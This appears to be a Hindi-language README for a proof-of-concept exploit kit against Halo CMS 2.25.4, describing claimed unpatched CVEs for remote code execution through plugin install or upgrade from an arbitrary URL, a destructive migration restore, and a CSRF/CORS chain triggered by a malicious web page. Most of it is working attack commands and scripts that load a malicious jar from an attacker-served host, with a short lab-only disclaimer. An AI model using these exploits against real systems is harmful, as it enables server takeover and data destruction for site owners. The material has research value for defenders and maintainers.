
halo cms plugin एक URL से 1-request rce, PoC + exploit श्रृंखला
हैलो का कंसोल एडमिन को यूआरएल पेस्ट करके प्लगइन इंस्टॉल और अपग्रेड करने देता है। यह किसी भी यूआरएल को फेच करता है, jar इंस्टॉल करता है, और jar का कोड सर्वर पर चलता है। कोई scheme जाँच नहीं, कोई host जाँच नहीं, redirects फॉलो होते हैं, और प्लगइन मैनेजर extension classes को सीधे jar से लोड करता है।
यानी cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain)। तीनों को अगस्त 2026 में डॉकर लैब में halohub/halo:2.25.4 के विरुद्ध सत्यापित किया गया। main अभी भी unpatched है।
मज़ेदार बात: यह ब्राउज़र-ओनली चेन भी है। console API xsrf token की जाँच नहीं करता, session cookie samesite=none है, और cors credentials के साथ किसी भी origin को reflect करता है। एडमिन जिस पेज पर जाता है वह fetch() से सब कुछ कर सकता है। exploit/csrf.html देखें।
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
होस्ट से एक jar सर्व करें (0.0.0.0 पर बाउंड, container host.docker.internal के रूप में होस्ट तक पहुँचता है):
python3 -m http.server 8123
मैलिशियस प्लगइन बनाएँ (jdk 17 चाहिए):
cd plugin && sh build.sh
फिर:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
कोई भी पहले से इंस्टॉल प्लगइन एक ही अनुरोध में बदला जा सकता है; jar को केवल same metadata.name और एक higher version चाहिए। पहले से मौजूद PluginSitemap (1.x -> 2.0.0) के लिए poc-sitemap.jar यही variant है।
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
exploit/csrf.html खोलें, इसे अपने halo पर इंगित करें, क्लिक करें। यही cve-2026-67921 -> cve-2026-67919 चेन है: कोई xsrf header नहीं, session cookie cross-site जाता है, cors readback की अनुमति देता है।
केवल एडमिन, चाहे cisa विवरण कुछ भी कहे। anonymous को 302 मिलता है, guest को 403 मिलता है, एडमिन को code execution मिलता है। csrf चेन इसे दिलचस्प बनाती है क्योंकि जब पेज चलता है तब एडमिन पहले से logged in होता है।
रिस्टोरेशन किसी भी arbitrary url को फेच करते हैं (एक और fetch primitive), zip के workdir/ को बिना sanitize किए halo work dir में लिखते हैं, और पूरे extension store को बैकअप की सामग्री से बदल देते हैं। एक खाली extensions.data users, role bindings और settings मिटा देता है। exploit/migration_restore.py का उपयोग केवल throwaway box पर करें।
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
1-request variant के लिए, plugin/plugin.yaml (metadata.name + version) संपादित करें और rebuild करें; या फिर ऐसे halo के विरुद्ध prebuilt poc-sitemap.jar उपयोग करें जिसमें PluginSitemap इंस्टॉल हो।
अस्वीकरण: केवल उन सिस्टम्स पर शोध के लिए जिनके आप मालिक हैं। विशेष रूप से migration वाला उस instance को तबाह कर देगा जिस पर चलता है।
chris jagdeo (k0nnect)